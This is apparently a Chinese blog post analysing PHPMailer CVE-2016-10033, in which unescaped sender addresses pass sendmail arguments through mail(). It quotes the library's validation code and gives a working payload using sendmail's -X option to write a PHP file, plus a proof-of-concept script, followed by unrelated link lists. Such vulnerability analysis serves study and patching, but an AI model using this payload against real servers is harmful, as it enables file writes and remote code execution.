对比一下新老版本:https://github.com/PHPMailer/PHPMailer/compare/v5.2.17…master

其实答案呼之欲出了——和Roundcube的RCE类似,mail函数的第五个参数,传命令参数的地方没有进行转义。

回顾一下当时Roundcube的漏洞:因为mail函数最终是调用的系统的sendmail进行邮件发送,而sendmail支持-X参数,通过这个参数可以将日志写入指定文件。可以写文件,当然就可以写shell,造成RCE了。

详细分析一下,下载一份源码,并切换到5.2.17版本:

git clone https://github.com/PHPMailer/PHPMailer
cd PHPMailer
git checkout -b CVE-2016-10033 v5.2.17

单步调试可以发现确实和之前Roundcube出现的漏洞( http://wiki.ioin.in/search?word=roundcube )一样,是传给mail函数的第五个参数没有正确过滤:

但上图是错的,因为这里是不支持bash的一些语法的,也就是说反引号、${IFS}都是无效的。但实际上PHPMailer在调用mailPassthru前会对email进行一定的检测,这导致我们无法构造出像Roundcube那些可以直接写文件的payload,检测部分的代码如下:

/**
 * Check that a string looks like an email address.
 * @param string $address The email address to check
 * @param string|callable $patternselect A selector for the validation pattern to use :
 * * `auto` Pick best pattern automatically;
 * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
 * * `pcre` Use old PCRE implementation;
 * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
 * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
 * * `noregex` Don't use a regex: super fast, really dumb.
 * Alternatively you may pass in a callable to inject your own validator, for example:
 * PHPMailer::validateAddress('user@example.com', function($address) {
 * return (strpos($address, '@') !== false);
 * });
 * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
 * @return boolean
 * @static
 * @access public
 */
 public static function validateAddress($address, $patternselect = null)
 {
 if (is_null($patternselect)) {
 $patternselect = self::$validator;
 }
 if (is_callable($patternselect)) {
 return call_user_func($patternselect, $address);
 }
 //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
 if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
 return false;
 }
 if (!$patternselect or $patternselect == 'auto') {
 //Check this constant first so it works when extension_loaded() is disabled by safe mode
 //Constant was added in PHP 5.2.4
 if (defined('PCRE_VERSION')) {
 //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
 if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
 $patternselect = 'pcre8';
 } else {
 $patternselect = 'pcre';
 }
 } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
 //Fall back to older PCRE
 $patternselect = 'pcre';
 } else {
 //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
 if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
 $patternselect = 'php';
 } else {
 $patternselect = 'noregex';
 }
 }
 }
 switch ($patternselect) {
 case 'pcre8':
 /**
 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
 * @link http://squiloople.com/2009/12/20/email-address-validation/
 * @copyright 2009-2010 Michael Rushton
 * Feel free to use and redistribute this code. But please keep this copyright notice.
 */
 return (boolean)preg_match(
 '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
 '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
 '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
 '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
 '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
 '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
 '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
 '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
 '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
 $address
 );
 case 'pcre':
 //An older regex that doesn't need a recent PCRE
 return (boolean)preg_match(
 '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
 '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
 '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
 '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
 '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
 '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
 '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
 '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
 '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
 '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
 $address
 );
 case 'html5':
 /**
 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
 */
 return (boolean)preg_match(
 '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
 '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
 $address
 );
 case 'noregex':
 //No PCRE! Do something _very_ approximate!
 //Check the address is 3 chars or longer and contains an @ that's not the first or last char
 return (strlen($address) >= 3
 and strpos($address, '@') >= 1
 and strpos($address, '@') != strlen($address) - 1);
 case 'php':
 default:
 return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
 }
 }

其他的地方我就不分析了,只分析上面这个函数,这个函数有这个特点

  1. 默认patternselect==‘auto’,它会自动选择一个方式对email进行检测
  2. 如果php支持正则PCRE(也就是包含preg_replace函数),就用正则的方式来检查,就是那一大串很难读懂的正则
  3. 如果php不支持PCRE,且PHP版本大于PHP5.2.0,就是用PHP自带的filter来检查email
  4. 如果php不支持PCRE,且PHP版本低于PHP5.2.0,就直接检查email中是否包含@

所以,根据现在的分析(注意,不是最终分析),如果想绕过这个email的检查,目标PHP环境必须有以下两个条件:

  1. PHP版本小于5.2.0
  2. PHP不支持正则表达式,即没有安装PCRE扩展(默认是安装的)

那么如果目标PHP环境不满足上述条件,是不是就绝对不会出现漏洞了呢?当然答案也是否定的,我提两种可能的情况。

开发者手工指定Email检查方法

PHPMailer是支持让开发者手工指定Email的检测方法的:

如果开发者编写了上述画框的代码,那么这里就是存在漏洞的,因为其只检查Email中是否包含@。

开发者指定PHPMailer::$validator = ‘noregex’

我们看到validateAddress函数:

public static function validateAddress($address, $patternselect = null)
{
 if (is_null($patternselect)) {
 $patternselect = self::$validator;
 }

$patternselect默认是根据self::$validator来确定的,如果开发者指定了PHPMailer::$validator = ‘noregex’,也就可以绕过validateAddress函数了。

分析一下Email正则

那么,这真的是一个鸡肋漏洞么?年轻人,多思考一下。

如果想把漏洞变成一个可用的好漏洞,需要去绕过Email的正则,我们来分析一下:

preg_match(
'/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
'((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
'(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
'([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
'(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
'(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
'|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
'|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
'|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
$address
);

中间的分析过程我后面慢慢写,多研究一下你会发现,在@前面,如果加上括号,将可以引入空格,我的payload如下:

aaa( -X/home/www/success.php )@qq.com

测试代码:

<?php
require 'PHPMailer/PHPMailerAutoload.php';

function send($from) {
 $mail = new PHPMailer;

$mail->setFrom($from);
 $mail->addAddress('joe@example.net', 'Joe User'); // Add a recipient

$mail->isHTML(true); // Set email format to HTML

$mail->Subject = '<?php phpinfo(); ?>';
 $mail->Body = 'This is the HTML message body <b>in bold!</b>';
 $mail->AltBody = 'This is the body in plain text for non-HTML mail clients';

if(!$mail->send()) {
 echo 'Message could not be sent.';
 echo 'Mailer Error: ' . $mail->ErrorInfo;
 } else {
 echo 'Message has been sent' . "\n";
 }

unset($mail);
}

$address = "aaa( -X/home/www/success.php )@qq.com";

send($address);

执行:

成功写入success.php。

利用这个payload,是无需PHP满足什么条件的,通用写文件Payload。

PHPMailer 命令执行漏洞(CVE-2016-10033)分析(含通用POC)的更多相关文章

  1. 齐治运维堡垒机后台存在命令执行漏洞(CNVD-2019-17294)分析

    基本信息 引用:https://www.cnvd.org.cn/flaw/show/CNVD-2019-17294 补丁信息:该漏洞的修复补丁已于2019年6月25日发布.如果客户尚未修复该补丁,可联 ...

  2. 齐治堡垒机ShtermClient-2.1.1命令执行漏洞(CNVD-2019-09593)分析

    一.基本信息 参考:https://www.cnvd.org.cn/flaw/show/1559039 补丁信息:该漏洞的修复补丁已于2019年4月1日发布.如果客户尚未修复该补丁,可联系齐治科技的技 ...

  3. 齐治堡垒机前台远程命令执行漏洞(CNVD-2019-20835)分析

    一.基本信息 漏洞公告:https://www.cnvd.org.cn/flaw/show/1632201 补丁信息:该漏洞的修复补丁已发布,如果客户尚未修复该补丁,可联系齐治科技的技术支持人员获得具 ...

  4. PHPMailer命令执行及任意文件读取漏洞

    今天在thinkphp官网闲逛,无意下载了一套eduaskcms,查看了一下libs目录中居然存在PHPMailer-5.2.13,想起了之前看到的PHPMailer的漏洞,可惜这套CMS只提供了一个 ...

  5. PHPMailer 远程命令执行漏洞 Writeup

    漏洞概述 1.漏洞简介 PHPMailer 小于5.2.18的版本存在远程代码执行漏洞.成功利用该漏洞后,攻击者可以远程任意代码执行.许多知名的 CMS 例如 Wordpress 等都是使用这个组件来 ...

  6. WordPress <= 4.6 命令执行漏洞(PHPMailer)复现分析

    漏洞信息 WordPress 是一种使用 PHP 语言开发的博客平台,用户可以在支持 PHP 和 MySQL 数据库的服务器上架设属于自己的网站.也可以把 WordPress 当作一个内容管理系统(C ...

  7. Apache Tomcat远程命令执行漏洞(CVE-2017-12615) 漏洞利用到入侵检测

    本文作者:i春秋作家——Anythin9 1.漏洞简介 当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 fals ...

  8. 19.Imagetragick 命令执行漏洞(CVE-2016–3714)

    Imagetragick 命令执行漏洞(CVE-2016–3714) 漏洞简介: Imagetragick 命令执行漏洞在16年爆出来以后,wooyun上面也爆出了数个被该漏洞影响的大厂商,像腾讯, ...

  9. NETGEAR 系列路由器命令执行漏洞简析

    NETGEAR 系列路由器命令执行漏洞简析 2016年12月7日,国外网站exploit-db上爆出一个关于NETGEAR R7000路由器的命令注入漏洞.一时间,各路人马开始忙碌起来.厂商忙于声明和 ...

随机推荐

  1. OSPF相关知识与实例配置【第一部分】

    OSPF相关知识与实例配置[基本知识及多区域配置] OSPF(开放式最短路径优先协议)是一个基于链路状态的IGP,相比于RIP有无环路:收敛快:扩展性好等优点,也是现在用的最多的:所以这次实验就针对于 ...

  2. Alamofire源码解读系列(十)之序列化(ResponseSerialization)

    本篇主要讲解Alamofire中如何把服务器返回的数据序列化 前言 和前边的文章不同, 在这一篇中,我想从程序的设计层次上解读ResponseSerialization这个文件.更直观的去探讨该功能是 ...

  3. [UWP]涨姿势UWP源码——适配电脑和手机

    上一篇我们介绍了绘制主界面的MainPage.xaml,本篇则会结合MainPage.xaml.cs来讲一讲如何适配电脑和手机这些不同尺寸的设备. 同时适配电脑和手机存在几个麻烦的地方: 屏幕尺寸差距 ...

  4. JDBC连接Oracle数据库代码

    import java.sql.Connection;import java.sql.DriverManager;import java.sql.ResultSet;import java.sql.S ...

  5. 自动化监控利器-Zabbix深入配置和使用

    1.  配置流程 Zabbix完整的监控配置流程可以简单描述为: Host groups(主机组)→Hosts(主机)→Applications(监控项组)→Items(监控项)→Triggers(触 ...

  6. 使用composer下拉组件失败,出现killed解决办法

    做项目时下载composer组件,出现killed提示,如图 一般是因为内存太小,将虚拟机内存设置大一点即可,在虚拟机关机的时候设置 下载成功

  7. js随机模块颜色

    <!DOCTYPE html> <html> <head> <meta http-equiv="content-type" content ...

  8. linux_cmd_list_0

    一.文件 touch file # 创建空白文件 rm -rf 目录名 # 不提示删除非空目录(-r:递归删除 -f强制) dos2unix # windows文本转linux文本 unix2dos ...

  9. ado.net知识整理

    对ado.net总是半知半解,五大对象也总是混淆,近期自己做小项目练手,整理了一些知识点 ado.net的无要素(摘自其他博文) Connection 物件    Connection 对象主要是开启 ...

  10. SpringCloud网关ZUUL集成consul

    最近一直在搞基于springcloud的微服务开发,为了不限定微服务开发语言,服务发现决定采用consul不多说上代码 pom文件 <project xmlns="http://mav ...